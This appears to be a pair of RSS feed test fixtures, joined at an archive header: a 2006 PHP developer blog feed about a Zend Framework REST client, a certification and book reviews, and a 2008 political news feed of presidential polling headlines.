http://pixelated-dreams.com/archives/249-guid.html Next Generation REST Web Services Client http://pixelated-dreams.com/archives/243-Next-Generation-REST-Web-Services-Client.html PHP Zend Framework http://pixelated-dreams.com/archives/243-Next-Generation-REST-Web-Services-Client.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=243 6 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=243 davey@pixelated-dreams.com (Davey Shafik) <p>I am currently working on a ton of Web Services related things for the Zend Framework, one of my favorite, is the almost complete, Zend_Rest_Client. This is a replacement for Zend_Rest (as we're adding a server also).</p> <p>Whilst it is almost impossible to emulate the PHP 5 SOAP extension, it is still possible to get a nice interface.</p> <p>I could have made it so that if you call a method, other than the get/post/put/delete methods it would query a Zend REST server correctly, however I wanted to do something nice that was applicable to all REST web services. So I have come up with a client that allows the following three calls:</p> <pre><code><span style="color: #000000"> <span style="color: #0000BB">&lt;?php $client </span><span style="color: #007700">= new </span><span style="color: #0000BB">Zend_Rest_Client</span><span style="color: #007700">(</span><span style="color: #DD0000">'http://.../service.php'</span><span style="color: #007700">); echo </span><span style="color: #0000BB">$client</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">sayHello</span><span style="color: #007700">(</span><span style="color: #DD0000">'Davey'</span><span style="color: #007700">, </span><span style="color: #DD0000">'Day'</span><span style="color: #007700">)-&gt;</span><span style="color: #0000BB">get</span><span style="color: #007700">(); </span><span style="color: #0000BB">?&gt;</span> </span></code></pre> <p>This first one connects to a Zend_Rest_Server, and it therefore knows the format of the response and returns a string (in this case, it can also return arrays) directly from the get() call. The entire function will send the request:</p> <p><tt>http://..../service.php?method=sayHello&arg1=Davey&arg2=Day</tt> which the Zend_Rest_Server will translate to the <tt>TestClass::sayHello($who, $when);</tt> call (though it's not a static call). TestClass is the class registered with the server - just like <tt>ext/soap</tt>.</p> <p>Furthermore, there is a &quot;fluent&quot; API, for regular REST services:</p> <pre><code><span style="color: #000000"> <span style="color: #0000BB">&lt;?php $client </span><span style="color: #007700">= new </span><span style="color: #0000BB">Zend_Rest_Client</span><span style="color: #007700">(</span><span style="color: #DD0000">'http://api.flickr.com/services/rest/'</span><span style="color: #007700">); echo </span><span style="color: #0000BB">$client</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">method</span><span style="color: #007700">(</span><span style="color: #DD0000">'flickr.test.echo'</span><span style="color: #007700">)-&gt;</span><span style="color: #0000BB">name</span><span style="color: #007700">(</span><span style="color: #DD0000">'Davey Shafik'</span><span style="color: #007700">)-&gt;</span><span style="color: #0000BB">api_key</span><span style="color: #007700">(</span><span style="color: #0000BB">$flickr_key</span><span style="color: #007700">)-&gt;</span><span style="color: #0000BB">get</span><span style="color: #007700">()-&gt;</span><span style="color: #0000BB">name</span><span style="color: #007700">; </span><span style="color: #0000BB">?&gt;</span> </span></code></pre> <p>This time, we need to access the <tt>name</tt> property on the return value for <tt>get()</tt>, this is because we don't know the format of the response (it's a call to the Flickr REST service), but you do. If there is only one node called <tt>name</tt> in the XML, we return it as a string (it's overloaded), otherwise, you will get a SimpleXMLElement array (more on this after the next example); or null for nothing found.</p> <p>This time, it calls <tt>http://api.flickr.com/services/rest/?method=flickr.test.echo&name=Davey%20Shafik&api_key={api key}</tt>.</p> <p>The final look for a call, is just calling things normally, no fluentness:</p> <pre><code><span style="color: #000000"> <span style="color: #0000BB">&lt;?php $technorati </span><span style="color: #007700">= new </span><span style="color: #0000BB">Zend_Rest_Client</span><span style="color: #007700">(</span><span style="color: #DD0000">'http://api.technorati.com/bloginfo'</span><span style="color: #007700">); </span><span style="color: #0000BB">$technorati</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">key</span><span style="color: #007700">(</span><span style="color: #0000BB">$key</span><span style="color: #007700">); </span><span style="color: #0000BB">$technorati</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">url</span><span style="color: #007700">(</span><span style="color: #DD0000">'http://pixelated-dreams.com'</span><span style="color: #007700">); </span><span style="color: #0000BB">$result </span><span style="color: #007700">= </span><span style="color: #0000BB">$technorati</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">get</span><span style="color: #007700">(); echo </span><span style="color: #0000BB">$result</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">firstname </span><span style="color: #007700">.</span><span style="color: #DD0000">' '</span><span style="color: #007700">. </span><span style="color: #0000BB">$result</span><span style="color: #007700">-&gt;</span><span style="color: #0000BB">lastname</span><span style="color: #007700">; </span><span style="color: #0000BB">?&gt;</span> </span></code></pre> <p>Here it calls <tt>http://api.technorati.com/bloginfo?key={key}&url=http%3A%2F%2Fpixelated-dreams.com</tt>.</p> <p>In this example, we call directly on <tt>$result-&gt;firstname</tt> and <tt>$result-&gt;lastname</tt> - these don't exist in the root node of the XML returned, but to make things easier, if it is not found, an XPath for (in these cases) <tt><em>firstname</tt> and <tt></em>lastname</tt> is called respectively. Again a string (shown here) or a SimpleXMLElement array is returned for multiple elements. These calls actually get the <br /> <tt>document-&gt;result-&gt;weblog-&gt;author-&gt;firstname</tt> and <tt>document-&gt;result-&gt;weblog-&gt;author-&gt;lastname</tt> elements.</p> <p>Whilst this could cause some problems (where same-named nodes are in different portions of the resulting XML and you want a specific one), you can still always access the elements as if the result was a SimpleXMLElement root node directly - this is simply a convenience that obviously pays off in this example.</p> <p>The only outstanding item I have left is to recursively turn Zend_Rest_Server array responses into real arrays, this will stop you needed to (string) the nodes to use them. I think I will accomplish this using a wrapper object that implements <tt>ArrayAccess</tt> - this ensures the same result API those services that do use Zend_Rest_Server and those that don't, whilst allowing OO access to the resulting values.</p> <p>- Davey</p> <p>P.S.<br /> Eat My Shorts RoR <img src="http://pixelated-dreams.com/templates/default/img/emoticons/tongue.png" alt=":-P" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> Fri, 22 Sep 2006 00:49:00 -0500 http://pixelated-dreams.com/archives/243-guid.html php rest web services zend framework Zend PHP 5 Certified http://pixelated-dreams.com/archives/240-Zend-PHP-5-Certified.html PHP http://pixelated-dreams.com/archives/240-Zend-PHP-5-Certified.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=240 4 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=240 davey@pixelated-dreams.com (Davey Shafik) <p>As of today, I am now officially Zend PHP 5 Certified. Yay!</p> <p>I took the beta exam, and it was excellent. Vastly superior to the PHP 4 exam, covering a much wider breadth of topics with much better questions (less syntax error stuff).</p> <p>I think in all, the PHP 5 exam fixes all the things people bitched about with the PHP 4 exam. And lets face it, the logo is cooler:</p> <p><!--s9ymdb:60--><img width='110' height='60' style="border: 0px; padding-left: 5px; padding-right: 5px;" src="http://pixelated-dreams.com/uploads/images/zce5.serendipityThumb.gif" alt="" /></p> <p>- Davey</p> Wed, 13 Sep 2006 01:46:00 -0500 http://pixelated-dreams.com/archives/240-guid.html php php 5 zend zend certified zend php 5 certification zend php 5 certified Current Reading http://pixelated-dreams.com/archives/239-Current-Reading.html Geeky PHP http://pixelated-dreams.com/archives/239-Current-Reading.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=239 3 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=239 davey@pixelated-dreams.com (Davey Shafik) <p>Following on from <a href="http://www.khankennels.com/blog/index.php/archives/2006/08/30/reading-tech-books/" onclick="window.open(this.href, '_blank'); return false;">Ligaya</a> and <a href="http://blog.phpdeveloper.org/?p=41" onclick="window.open(this.href, '_blank'); return false;">Enygma</a>, I thought I would list what I'm reading:</p> <ul> <li>Office 2003 XML (O'Reilly)</li> <li>Extending and Embedding PHP (Sara Golemon, SAMS Publishing)</li> <li>Beginning PDF Programming with PHP and PDFlib (Ron Goff, php|architect !NanoBook Series)</li> <li>!MySQL Crash Course (Ben Forta, SAMS Publishing)</li> <li>Professional PHP-GTK (Scott Mattocks, Apress, second-readthrough)</li> <li>High Performance !MySQL (O'Reilly)</li> </ul> <p>As for fiction books, I am currently reading:</p> <ul> <li>There Will Be Dragons (John Ringo, <strong>excellent</strong> book)</li> <li>A Fire Upon The Deep (Vernor Vinge, also excellent)</li> </ul> <p>I'll have these all read within about a month <img src="http://pixelated-dreams.com/templates/default/img/emoticons/smile.png" alt=":-)" style="display: inline; vertical-align: bottom;" class="emoticon" /></p> <p>as well as ongoing:</p> <ul> <li>Sword of Truth (just finished #10)</li> <li>Wheel of Time (just finished #11)</li> <li>Harry Potter (recently read #6)</li> <li>Discworld (read about 8 of them)</li> </ul> <p>- Davey</p> Wed, 30 Aug 2006 13:04:00 -0500 http://pixelated-dreams.com/archives/239-guid.html books gtk mysql office pdf php xml Corporations Beware! http://pixelated-dreams.com/archives/238-Corporations-Beware!.html General http://pixelated-dreams.com/archives/238-Corporations-Beware!.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=238 1 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=238 davey@pixelated-dreams.com (Davey Shafik) <p>Whilst talking to my boss today, I had somewhat of an epiphany. I'm not sure how many of you are aware about <a href="http://arstechnica.com/journals/apple.ars/2006/8/21/5055" onclick="window.open(this.href, '_blank'); return false;">the Dublin man shaming Apple by walking 150 miles to get his iMac repaired quicker than Apple could respond</a>. Well, if you do know, you probably also know that Apple PR caught wind of the stunt and he had a new iMac in 90 minutes to his door (and if you didn't, you do now).</p> <p>I have for some time disparaged about the current state of customer service at most businesses (large and small) these days. From having KFC mess up my order consistently, and refusing to right it, to Sears Kitchens messing us around for over a month just to have them come out and measure so we could get our kitchen work started. The one large exception we've found to this trend, is Outback Steakhouse. We regularly visit 3 different Outbacks in our local area (some 70 miles between them) and consistently have wonderful service and food - this is why it is our favorite restaurant.</p> <p>Where is this all leading you might ask? Well, ask no more, here is the answer: It is my belief that as more and more &quot;regular&quot; people become connected to the 'net, and more and more get blogs, myspace pages, youtube accounts etc. suddenly, that one irate customer in the middle of nowhere who you used to be able to ignore, is suddenly able to get his message of anger out to the entire world.</p> <p>Suddenly, that one person doesn't just affect one local restaurant, or one town, he can affect trade for the entire chain, throughout the world. Imagine how many people, in how many countries have been put off buying Apple hardware (or at the least, had their current opinions reaffirmed) by one guy on a small island off the coast of a slightly larger island.</p> <p>Companies need to shape up, and remember, that the customer <em>is</em> always right. I never demand more than I think is fair, and most of the time, all I want is an apology, acceptance of the screw-up and anything else is a bonus. We have come so far from this ideology, that customer service people (be it a waiter, a dedicated customer services rep on the phone, or the president of the company, any company-client communication is customer service) are not only not acquiescent, but worse, they're aggressive and surly. Good luck getting my repeat business.</p> <p>- Davey</p> Sat, 26 Aug 2006 01:56:26 -0500 http://pixelated-dreams.com/archives/238-guid.html Mini-Review: Pro PHP-GTK http://pixelated-dreams.com/archives/237-Mini-Review-Pro-PHP-GTK.html PHP Reviews http://pixelated-dreams.com/archives/237-Mini-Review-Pro-PHP-GTK.html#comments http://pixelated-dreams.com/wfwcomment.php?cid=237 0 http://pixelated-dreams.com/rss.php?version=2.0&type=comments&cid=237 davey@pixelated-dreams.com (Davey Shafik) <p>Several weeks ago I recieved a copy of <a href="http://www.amazon.com/exec/obidos/redirect?link_code=as2&amp;path=ASIN/1590596137&amp;tag=pixelateddrea-20&amp;camp=1789&amp;creative=9325" onclick="window.open(this.href, '_blank'); return false;">Pro PHP GTK</a> by <a href="http://www.crisscott.com/" onclick="window.open(this.href, '_blank'); return false;">Scott Mattocks</a> in the mail. The first surprise, upon opening the package, is that the book is a hardback - a first for me (at least, for a tech book). I assume this is the norm for all APress books these days, which is very cool as the cover price didn't seem to be inflated because of it.</p> <p>The book starts with a simple introduction to PHP-GTK and moves on to installation instructions. Unfortunately, it didn't include any for OS X, however, the windows and linux ones are very complete.</p> <p>One thing I feel I ought to mention, that wasn't readily apparent to me, is that this book covers PHP-GTK2.</p> <p>From these humble beginnings the book then takes you on a wild ride through PHP-GTK2; coverings the basics including the PHP-GTK M.O., the basics and signals and widget types, Scott then takes you throught he creation of an complex (somewhat) example application showcasing all of the awesomeness that PHP-GTK2 is.</p> <p>This book is not a fast reader, its quite a mental shift from web to application programming if you've never really done it before, especially with PHP. However, the book is first-rate and highly recommended.</p> <p>One of the biggest things I've taken away from this book is just how adept PHP is at just about any situation you can throw at it. I would highly recommend the use of PHP-GTK2 at least for prototyping of new applications, with no need to recompile to make modifications as you go, PHP-GTK2 is an expedient route to perfection.</p> <p>As the PHP-GTK2 installers/compilers mature, the deployability of PHP-GTK2 applications grows rapidly, and reading this book will take your exisitng knowledge of PHP and allow you to apply it to yet another situation, advancing the weapons in your development arsenal by huge proportions.</p> <p><a href="http://www.amazon.com/exec/obidos/redirect?link_code=as2&amp;path=ASIN/1590596137&amp;tag=pixelateddrea-20&amp;camp=1789&amp;creative=9325" onclick="window.open(this.href, '_blank'); return false;">Pro PHP-GTK</a> is highly recommended, a better PHP-GTK2 reference cannot be found.</p> <p>- Davey</p> Sun, 06 Aug 2006 17:22:00 -0500 http://pixelated-dreams.com/archives/237-guid.html php php-gtk2 reviews Horde_Feed-2.0.4/test/Horde/Feed/fixtures/lexicon/http-politicalwire.com-headlines.xml0000664000175000017500000012751212653701626027077 0ustar janjan Taegan Goddard's Political Wire http://politicalwire.com/ Political news, polls and buzz en Copyright 2008 Sun, 21 Sep 2008 13:22:14 -0500 http://www.sixapart.com/movabletype/ http://www.rssboard.org/rss-specification http://politicalwire.comhttp://politicalwire.com/images/pwlogo-sm.jpgTaegan Goddard's Political WireThis is an XML content feed or RSS feed. It is intended to be viewed in a newsreader or syndicated to another site. Miami Herald Poll: McCain Holds Small Edge in Florida A new <a href="http://www.miamiherald.com/979/story/695102.html">Miami Herald poll</a> finds Sen. John McCain "is nursing a narrow lead" over Sen. Barack Obama in Florida, 47% to 45%.<br /><br /> Key finding: "The survey of 800 likely voters echoed the economic jitters of the nation, as 43 percent of voters said the economy should be the next president's top concern. That's a three-to-one margin over the next two top issues: managing the war in Iraq, at 14 percent, and protecting us from terrorism, at 12 percent."<br /><br /> Said pollster Tom Eldon: "Obama is in a position to improve his poll numbers, given the confidence in his handling of the economy." <p><a href="http://feedads.googleadservices.com/~a/pyrPK_npCvu4Ro2_nh7yPSjOq1Y/a"><img src="http://feedads.googleadservices.com/~a/pyrPK_npCvu4Ro2_nh7yPSjOq1Y/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/8OtvQVw4AOg" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/8OtvQVw4AOg/miami_herald_poll_mccain_holds_small_edge_in_florida.html http://politicalwire.com/archives/2008/09/21/miami_herald_poll_mccain_holds_small_edge_in_florida.html 2008 Campaign Sun, 21 Sep 2008 13:22:14 -0500 http://politicalwire.com/archives/2008/09/21/miami_herald_poll_mccain_holds_small_edge_in_florida.html How Many Cars Do You Own? <a href="http://www.newsweek.com/id/160091">Newsweek</a> checked vehicle registration records for both Sen. John McCain and Sen. Barack Obama and found that when you include the candidates' spouses, McCain owns 13 cars, Obama 1. <p><a href="http://feedads.googleadservices.com/~a/1l1IjrAmsKXOrBVFPvWNvVFQuss/a"><img src="http://feedads.googleadservices.com/~a/1l1IjrAmsKXOrBVFPvWNvVFQuss/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/C5PTiVvETts" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/C5PTiVvETts/how_many_cars_do_you_own.html http://politicalwire.com/archives/2008/09/21/how_many_cars_do_you_own.html 2008 Campaign Sun, 21 Sep 2008 10:51:14 -0500 http://politicalwire.com/archives/2008/09/21/how_many_cars_do_you_own.html Research 2000: Obama Catches McCain in Florida Sen. Barack Obama has pulled virtually even with Sen. John McCain in Florida, according to a new <a href="http://www.sun-sentinel.com/news/local/southflorida/sfl-flaprezpoll0921sbsep21,0,7609474.story">Research 2000 poll</a>. <br /><br />McCain now just barely edges Obama 46% to 45%.<br /><br /> Said pollster Del Ali: "It's competitive, no question, and obviously the economy is the top issue. What took place on Wall Street this week helped Obama in Florida. His numbers went up with each day we polled. For him to win Florida, it's obviously important for the economy to stay the top issue." <p><a href="http://feedads.googleadservices.com/~a/YRhZZWG2Joxcw0py0dzidBNYB1U/a"><img src="http://feedads.googleadservices.com/~a/YRhZZWG2Joxcw0py0dzidBNYB1U/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/M9kqu0oziDM" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/M9kqu0oziDM/research_2000_obama_catches_mccain_in_florida.html http://politicalwire.com/archives/2008/09/21/research_2000_obama_catches_mccain_in_florida.html 2008 Campaign Sun, 21 Sep 2008 10:38:17 -0500 http://politicalwire.com/archives/2008/09/21/research_2000_obama_catches_mccain_in_florida.html Research 2000: Obama Cruising in Iowa A new <a href="http://www.qctimes.com/articles/2008/09/21/news/local/doc48d5d7d0b32a5478622581.txt?sPos=2">Research 2000 poll</a> in Iowa shows Sen. Barack Obama way ahead of Sen. John McCain, 53% to 39%.<br /><br />Said pollster Del Ali: "This is the state that started it all for Obama. He's very popular here." <p><a href="http://feedads.googleadservices.com/~a/KWvrvAOpNXInaAOta5XGtzGtfAo/a"><img src="http://feedads.googleadservices.com/~a/KWvrvAOpNXInaAOta5XGtzGtfAo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/9EEG5r39Bh0" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/9EEG5r39Bh0/research_2000_obama_cruising_in_iowa.html http://politicalwire.com/archives/2008/09/21/research_2000_obama_cruising_in_iowa.html 2008 Campaign Sun, 21 Sep 2008 10:35:05 -0500 http://politicalwire.com/archives/2008/09/21/research_2000_obama_cruising_in_iowa.html Quote of the Day "Both campaigns are doing what they need to do to be prepared to govern on Jan. 20 at noon. The amount of work being done before the election, formal and informal, is the most ever."<br /><br /> -- Deputy OMB Director Clay Johnson, quoted by the <a href="http://www.nytimes.com/2008/09/21/us/politics/21transition.html?_r=2&amp;ref=politics&amp;oref=slogin&amp;oref=slogin">New York Times</a>, on the transition planning currently underway by both the McCain and Obama campaigns. <p><a href="http://feedads.googleadservices.com/~a/e5D3TTqY8Lv2j6_rMBBH3zTlfxo/a"><img src="http://feedads.googleadservices.com/~a/e5D3TTqY8Lv2j6_rMBBH3zTlfxo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/e6pkOjMCXpk" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/e6pkOjMCXpk/quote_of_the_day.html http://politicalwire.com/archives/2008/09/21/quote_of_the_day.html 2008 Campaign Governing Sun, 21 Sep 2008 09:25:20 -0500 http://politicalwire.com/archives/2008/09/21/quote_of_the_day.html Ohio Poll: McCain Holds Six Point Lead in Buckeye State A new <a href="http://blog.cleveland.com/openers/2008/09/poll_main.html">Ohio Newspaper Poll</a> shows Sen. John McCain leading Sen. Barack Obama, 48% to 42%.<br /><br />"Ohio voters say McCain is more qualified to be president and would likely use good judgment, two issues debated along the campaign trail. But Obama tops McCain on a key issue: He is more in touch with the problems of Ohioans, the poll shows. And he's more likeable."<br /><br />Caveat: "The poll was started before this week's turmoil on Wall Street, which could raise new issues for voters." <p><a href="http://feedads.googleadservices.com/~a/-dXbvrpufoxpSBnPTlsPgF6lLTo/a"><img src="http://feedads.googleadservices.com/~a/-dXbvrpufoxpSBnPTlsPgF6lLTo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/fVjF-H9LzHQ" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/fVjF-H9LzHQ/ohio_poll_mccain_holds_six_point_lead_in_buckeye_state.html http://politicalwire.com/archives/2008/09/21/ohio_poll_mccain_holds_six_point_lead_in_buckeye_state.html 2008 Campaign Sun, 21 Sep 2008 09:18:04 -0500 http://politicalwire.com/archives/2008/09/21/ohio_poll_mccain_holds_six_point_lead_in_buckeye_state.html PPP Poll: North Carolina Deadlocked A new <a href="http://www.publicpolicypolling.com/pdf/PPP_Release_NC_92168.pdf">Public Policy Polling survey</a> in North Carolina finds the presidential in a dead heat with Sen. Barack Obama and Sen. John McCain each getting 46% support.<br /><br />Key findings: "Obama has a 58% to 34% advantage with those voters who say the economy is their biggest concern. He has reclaimed a small lead with North Carolina independents and increased his share with Democratic voters since a PPP survey conducted a week and a half ago in the state."<br /> <p><a href="http://feedads.googleadservices.com/~a/_OmpQAHxxLHiRjYSzxn7J7zV500/a"><img src="http://feedads.googleadservices.com/~a/_OmpQAHxxLHiRjYSzxn7J7zV500/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/2qf98S9ja9c" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/2qf98S9ja9c/ppp_poll_north_carolina_deadlocked.html http://politicalwire.com/archives/2008/09/20/ppp_poll_north_carolina_deadlocked.html 2008 Campaign Sat, 20 Sep 2008 23:20:35 -0500 http://politicalwire.com/archives/2008/09/20/ppp_poll_north_carolina_deadlocked.html Research 2000: McCain Leads in Missouri A new <a href="http://www.stltoday.com/stltoday/news/stories.nsf/politics/story/43895DDA1683ECEE862574CA00119713?OpenDocument">Research 2000 poll</a> in Missouri shows Sen. John McCain leading Sen. Barack Obama, 49% to 45%, in this key battleground state.<br /><br />Key finding: "Compared to the July poll, McCain's standing has improved among women and men. But his higher standing among women has generated more political benefit because they make up a majority of Missouri's likely voters. As a bloc, the women polled lean slightly toward Obama -- but their preference is dramatically below the double-digit lead that Obama had among Missouri women voters polled in July." <p><a href="http://feedads.googleadservices.com/~a/JIGW1poakYqHscC85SvC1yDt4ps/a"><img src="http://feedads.googleadservices.com/~a/JIGW1poakYqHscC85SvC1yDt4ps/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/ZKzK2rPamgg" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/ZKzK2rPamgg/research_2000_mccain_leads_in_missouri.html http://politicalwire.com/archives/2008/09/20/research_2000_mccain_leads_in_missouri.html Sat, 20 Sep 2008 18:09:20 -0500 http://politicalwire.com/archives/2008/09/20/research_2000_mccain_leads_in_missouri.html Detroit News Poll: Obama Holds Slight Lead in Michigan Sen. Barack Obama has the smallest possible lead -- one point -- over Sen. John McCain in Michigan, 43% to 42%, according to a new <a href="http://www.detnews.com/apps/pbcs.dll/article?AID=/20080920/POLITICS01/809200358">Detroit News poll</a>.<br /><br /> Analysis: "The numbers show a race largely unchanged from EPIC-MRA surveys in July and August, each of which had Obama up by 2 points. And they show Obama in danger of becoming the first Democrat in two decades to lose Michigan's electoral votes."<br /><br /><b>Update</b>: A new <a href="http://americanresearchgroup.com/pres2008/MI08.html">American Research Group poll</a> shows Obama leading McCain 48% to 46% in the key battleground state.<br /> <p><a href="http://feedads.googleadservices.com/~a/J2o2PFcMuJucLP9TND-bYObDixo/a"><img src="http://feedads.googleadservices.com/~a/J2o2PFcMuJucLP9TND-bYObDixo/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/1kDGQ7pNFl8" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/1kDGQ7pNFl8/detroit_news_poll_obama_holds_slight_lead_in_michigan.html http://politicalwire.com/archives/2008/09/20/detroit_news_poll_obama_holds_slight_lead_in_michigan.html 2008 Campaign Sat, 20 Sep 2008 17:58:22 -0500 http://politicalwire.com/archives/2008/09/20/detroit_news_poll_obama_holds_slight_lead_in_michigan.html Palin Wins Concessions for Veep Debate "The Obama and McCain campaigns have agreed to an unusual free-flowing format for the three televised presidential debates, which begin on Friday, but the McCain camp fought for and won a much more structured approach for the questioning at the vice-presidential debate," according to the <a href="http://www.nytimes.com/2008/09/21/us/politics/21debate.html?_r=1&amp;hp&amp;oref=slogin">New York Times</a>.<br /><br /> "At the insistence of the McCain campaign," the Oct. 2 debate between Sarah Palin and Joe Biden "will have shorter question-and-answer segments than those for the presidential nominees... There will also be much less opportunity for free-wheeling, direct exchanges between the running mates."<br /><br /> "McCain advisers said they had been concerned that a loose format could leave Ms. Palin, a relatively inexperienced debater, at a disadvantage and largely on the defensive." <p><a href="http://feedads.googleadservices.com/~a/WMV-p8dW_Z1pmJbhviLBoA97MVY/a"><img src="http://feedads.googleadservices.com/~a/WMV-p8dW_Z1pmJbhviLBoA97MVY/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/tvn8W22UZz4" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/tvn8W22UZz4/palin_wins_concessions_for_veep_debate.html http://politicalwire.com/archives/2008/09/20/palin_wins_concessions_for_veep_debate.html 2008 Campaign Sat, 20 Sep 2008 17:52:09 -0500 http://politicalwire.com/archives/2008/09/20/palin_wins_concessions_for_veep_debate.html SurveyUSA: Obama Opens Wide Lead in Iowa A new <a href="http://www.surveyusa.com/client/PollReport.aspx?g=3762a738-bf31-416c-81cd-d35599c13107">SurveyUSA poll</a> in Iowa shows Sen. Barack Obama leading Sen. John McCain by 11 points, 54% to 43%. <br /><br />Key findings: "Among women, Obama leads by 20 points; among men, Obama and McCain tie. Among voters younger than Barack Obama, Obama leads by 15. Among voters older than John McCain, Obama leads by 9. Among voters who are in-between the two candidates' ages, Obama leads by 7. Among white voters -- 95% of Iowa's likely voters -- Obama leads by 8 points. 11% of Republicans cross over to vote for Obama; 8% of Democrats cross over to vote for McCain; Independents break for Obama by 9 points." <p><a href="http://feedads.googleadservices.com/~a/gBx8TVILzoGESzyrOhigKDwsvwc/a"><img src="http://feedads.googleadservices.com/~a/gBx8TVILzoGESzyrOhigKDwsvwc/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/pAVpCfVL3x0" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/pAVpCfVL3x0/surveyusa_obama_opens_wide_lead_in_iowa.html http://politicalwire.com/archives/2008/09/19/surveyusa_obama_opens_wide_lead_in_iowa.html 2008 Campaign Fri, 19 Sep 2008 14:42:32 -0500 http://politicalwire.com/archives/2008/09/19/surveyusa_obama_opens_wide_lead_in_iowa.html Palin's Favorability Ratings Tumble Gov. Sarah Palin's favorable/unfavorable ratings have suffered a stunning 21 point collapse in just one week, according to <a href="http://www.dailykos.com/storyonly/2008/9/17/195514/801/936/602155">Research 2000</a> polling. Last week, 52% approved and 35% disapproved of the GOP vice presidential nominee (+17 net). This week, 42% approved and 46% disapprove (-4 net). <br /><br />Earlier this week, <a href="http://blog.newsweek.com/blogs/stumper/archive/2008/09/16/palin-s-favorability-ratings-begin-to-falter.aspx">Newsweek</a> also saw the drop in other polling. "<span class="BlogPostWords">Over the course of a single weekend... Palin went from being the most popular White House hopeful to the least."<br /><br /><a href="http://blogs.cqpolitics.com/politicalinsider/2008/09/why-palin-was-a-bad-pick.html">Political Insider</a>: Why Palin was ultimately a bad pick for McCain.<br /></span> <p><a href="http://feedads.googleadservices.com/~a/1hQbgFgZxskUG6rhcUbR2YIKItk/a"><img src="http://feedads.googleadservices.com/~a/1hQbgFgZxskUG6rhcUbR2YIKItk/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/dPUTHdxU1mw" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/dPUTHdxU1mw/palins_favorability_ratings_tumble.html http://politicalwire.com/archives/2008/09/19/palins_favorability_ratings_tumble.html 2008 Campaign Fri, 19 Sep 2008 12:47:00 -0500 http://politicalwire.com/archives/2008/09/19/palins_favorability_ratings_tumble.html Marist: Ohio Tied, Obama Leads in Michigan, Pennsylvania New polls from <a href="http://www.maristpoll.marist.edu/">Marist College</a> in three key battleground states:<br /><br /><a href="http://www.maristpoll.marist.edu/OHpolls/OH080919.pdf">Ohio</a>: Obama 44%, McCain 44%<br /><br /><a href="http://www.maristpoll.marist.edu/MIpolls/MI080919.pdf">Michigan</a>: Obama 50%, McCain 41%<br /><br /><a href="http://www.maristpoll.marist.edu/PApolls/PA080919.pdf">Pennsylvania</a>: Obama 45%, McCain 42%<br /> <p><a href="http://feedads.googleadservices.com/~a/JfPk2mugR2q8QySGW40AB0KGgq4/a"><img src="http://feedads.googleadservices.com/~a/JfPk2mugR2q8QySGW40AB0KGgq4/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/Fr5wRPy2MlY" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/Fr5wRPy2MlY/marist_ohio_tied_obama_leads_in_michigan_pennsylvania.html http://politicalwire.com/archives/2008/09/19/marist_ohio_tied_obama_leads_in_michigan_pennsylvania.html 2008 Campaign Fri, 19 Sep 2008 11:16:06 -0500 http://politicalwire.com/archives/2008/09/19/marist_ohio_tied_obama_leads_in_michigan_pennsylvania.html Welch Wins Both Party Nominations in Vermont Rep. Peter Welch (D-VT) won the Democratic congressional nomination last week -- and also won the Republican nomination because he "received enough write-in votes on Republican ballots to secure the nomination of a party that didn't put up a candidate of its own," the <a href="http://www.timesargus.com/apps/pbcs.dll/article?AID=/20080918/NEWS02/809180364">Barre Montpelier Times-Argus</a> reports. <p><a href="http://feedads.googleadservices.com/~a/9zayVPW6vEAySB7Ln11AfPj1hws/a"><img src="http://feedads.googleadservices.com/~a/9zayVPW6vEAySB7Ln11AfPj1hws/i" border="0" ismap="true"></img></a></p><img src="http://feedproxy.google.com/~r/PoliticalWire/~4/mGWNdoD5ph4" height="1" width="1"/> http://feedproxy.google.com/~r/PoliticalWire/~3/mGWNdoD5ph4/welch_wins_both_party_nominations_in_vermont.html 